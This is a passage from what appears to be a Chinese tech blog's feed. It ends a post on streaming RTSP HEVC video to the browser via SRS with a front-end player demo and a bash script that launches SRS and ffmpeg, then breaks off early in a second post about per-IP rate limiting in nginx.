&lt;p&gt;srs 安装好以后，接下来就是推流和拉流了，推流仍然使用 ffmpeg 命令 ，参考 srs 的文档，地址稍微改一改就可以，推流完成后，srs 还有一个管理页面可以进行播放的测试，简直太贴心了。默认地址是：http://localhost:8080/ （srs 内置了一个 http server ）&lt;/p&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-08-18-liu-lan-qi-ru-he-bo-fang-rtsp-xie-yi-de-hevc-shi-pin/005-6f872e9f.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到，它还十分贴心的告诉你建议使用什么前端组件来播放什么协议的视频。&lt;/p&gt;
&lt;h3 id="前端"&gt;&lt;a href="#%e5%89%8d%e7%ab%af" class="header-anchor"&gt;&lt;/a&gt;前端
&lt;/h3&gt;&lt;p&gt;前端页面是最简单的，我写了一个 demo：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;html&lt;/span&gt; &lt;span class="na"&gt;lang&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;en&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;head&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;meta&lt;/span&gt; &lt;span class="na"&gt;charset&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;UTF-8&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;title&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;Video Player&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;title&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt; &lt;span class="na"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;./mpegts.js&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;head&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;video&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;videoElement&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;controls&lt;/span&gt; &lt;span class="na"&gt;width&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;640&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;height&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;360&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;video&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;video&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;videoElement2&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;controls&lt;/span&gt; &lt;span class="na"&gt;width&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;640&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;height&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;360&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;video&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;mpegts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;isSupported&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;videoElement&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;videoElement&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;flvPlayer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;mpegts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;createPlayer&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;flv&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;http://localhost:8088/live/livestream3.flv&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;flvPlayer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;attachMediaElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;videoElement&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;flvPlayer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;load&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;flvPlayer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;play&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;html&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="最后"&gt;&lt;a href="#%e6%9c%80%e5%90%8e" class="header-anchor"&gt;&lt;/a&gt;最后
&lt;/h2&gt;&lt;p&gt;ffmpeg 命令在我们的系统中是要由程序来控制执行的，我们在原有 java 程序中改了一下，添加了控制 ffmpeg 命令启动的程序，后来又改成执行一个 shell 脚本，因为我想在脚本中添加一点逻辑，比如 srs 如果没启动就把它启动起来，具体可以参考：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检查参数数量是否正确&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$#&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; -ne &lt;span class="m"&gt;2&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;用法：&lt;/span&gt;&lt;span class="nv"&gt;$0&lt;/span&gt;&lt;span class="s2"&gt; &amp;lt;RTSP_URL&amp;gt; &amp;lt;RTMP_URL&amp;gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;示例：&lt;/span&gt;&lt;span class="nv"&gt;$0&lt;/span&gt;&lt;span class="s2"&gt; rtsp://123.456.543.212:873/live/aabbcc rtmp://localhost/live/aabbcc&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 获取输入参数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;RTSP_URL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;RTMP_URL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 定义要检查的进程命令&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;FFMPEG_PROCESS_CMD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;ffmpeg -re -rtsp_transport tcp -i &lt;/span&gt;&lt;span class="nv"&gt;$RTSP_URL&lt;/span&gt;&lt;span class="s2"&gt; -c:v copy -an -f flv &lt;/span&gt;&lt;span class="nv"&gt;$RTMP_URL&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;SRS_PROCESS_CMD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;./objs/srs -c conf/srs.conf&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;SRS_DIR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;/usr/srs/srs-server-6.0-a0/trunk&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 使用 ps 和 grep 检查进程是否存在&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;check_process&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; ps aux &lt;span class="p"&gt;|&lt;/span&gt; grep -v grep &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &amp;gt; /dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;1&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检查并启动 SRS 进程&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; check_process &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$SRS_PROCESS_CMD&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;SRS 进程已存在，无需启动新进程。&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;SRS 进程不存在，正在启动新进程。..&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;cd&lt;/span&gt; &lt;span class="nv"&gt;$SRS_DIR&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$SRS_PROCESS_CMD&lt;/span&gt; &amp;gt; /dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt; sleep &lt;span class="m"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检查并启动 ffmpeg 进程&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; check_process &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$FFMPEG_PROCESS_CMD&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;ffmpeg 进程已存在，无需启动新进程。&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;ffmpeg 进程不存在，正在启动新进程。..&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;43&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$FFMPEG_PROCESS_CMD&lt;/span&gt; &amp;gt; /dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;44&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;总的来说，SRS 是很强大的，它能干的事情不止我们这个在浏览器播放 RTSP 协议视频这么简单，而且它的性能也很强。👍 （官方文档介绍比 nginx的方案强一倍）&lt;/p&gt;</description></item><item><title>nginx 如何做针对 ip 的限流</title><link>https://xiaobox.github.io/p/2024-07-23-nginx-ru-he-zuo-zhen-dui-ip-de-xian-liu/</link><pubDate>Tue, 23 Jul 2024 14:10:00 +0000</pubDate><guid>https://xiaobox.github.io/p/2024-07-23-nginx-ru-he-zuo-zhen-dui-ip-de-xian-liu/</guid><description>&lt;img src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-07-23-nginx-ru-he-zuo-zhen-dui-ip-de-xian-liu/cover.jpg" alt="Featured image of post nginx 如何做针对 ip 的限流" /&gt;&lt;h2 id="闲白"&gt;&lt;a href="#%e9%97%b2%e7%99%bd" class="header-anchor"&gt;&lt;/a&gt;闲白
&lt;/h2&gt;&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-07-23-nginx-ru-he-zuo-zhen-dui-ip-de-xian-liu/001-c3921c64.jpg"&gt;&lt;/p&gt;
&lt;p&gt;说到限流，大家一定能想到很多算法，比如 &lt;code&gt;令牌桶&lt;/code&gt; 、&lt;code&gt;漏桶&lt;/code&gt; 、&lt;code&gt;计数器限流&lt;/code&gt;、 &lt;code&gt;信号量&lt;/code&gt; 等等。解决方案也有很多，以 java 为例，&lt;code&gt;Guava&lt;/code&gt; 库中的 RateLimiter 类 可以实现，&lt;code&gt;Semaphore&lt;/code&gt; 类也可以实现。再复杂点儿，比如你是一个分布式微服务系统，可以上 &lt;code&gt;Hystrix&lt;/code&gt;、&lt;code&gt;Resilience4j&lt;/code&gt; 这种现成的方案。&lt;/p&gt;
&lt;p&gt;从系统架构上来说，无非是在单体应用的当前进程中实现，还是分布式应用的非当前进程中之实现。当然还有另一种方案，就是不在业务应用中实现，而是把这种跟业务不那么紧耦合的功能抽象出去，&lt;strong&gt;在网络层面对所有进入系统的请求进行统一的限流控制，这种方式的好处是可以避免每个微服务都实现自己的限流逻辑。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;现在很多 API 网关，尤其是新晋的 “云原生” 网关都具备这个功能（基本是标配），比如：Zuul、Kong、Ambassador、APISIX 等。&lt;/p&gt;
&lt;p&gt;我们先不论系统是不是分布式微服务的，就单说限流这个事儿，其实也完全可以用 API 网关的思路来实现。就是我不用非要把代码写在应用中，如果我就是不想改代码呢？我想随时调整个限流策略还得重启应用？应用那么重，生效时间那么长，我可不想重启！&lt;/p&gt;
&lt;p&gt;所以我们回头看看自己架构中的这些软件，一定能想到这位老朋友 &lt;strong&gt;Nginx&lt;/strong&gt; 。当然无论是原味的 Nginx 还是跟它有血缘关系的 &lt;strong&gt;openResty&lt;/strong&gt; 都一样。&lt;/p&gt;
&lt;p&gt;想像一下，用 nginx 配置一下然后 &lt;code&gt;nginx -s reload&lt;/code&gt; 就能搞定了，岂不痛快 ？!&lt;/p&gt;
&lt;h2 id="正题"&gt;&lt;a href="#%e6%ad%a3%e9%a2%98" class="header-anchor"&gt;&lt;/a&gt;正题
&lt;/h2&gt;&lt;p&gt;下文我们开始介绍在 nginx 怎么配置能实现针对某些（讨厌的）ip 进行限流，且不影响系统正常运行。（感叹：nginx 是个好东西！！！）&lt;/p&gt;
&lt;p&gt;可能有些朋友看到标题就已经开始写 prompt 了，喝着 coffee 等着 &lt;strong&gt;AI&lt;/strong&gt; 给你一行行输出答案，然后心里想：“什么年代了，大哥，还用写个文章专门说这事儿吗？你得学会用工具呀” 。&lt;/p&gt;
&lt;p&gt;我想说的是，关于这个问题 AI 能给你回答对 90% 的内容，剩下的 10% 你得自己改。开发同学都知道 ，别说 10% 了，0.1% 不对，程序也不 work 呀。我是不会告诉你我花了一下午时间跟 AI 都聊了什么的。因为那显得我很弱智。&lt;/p&gt;
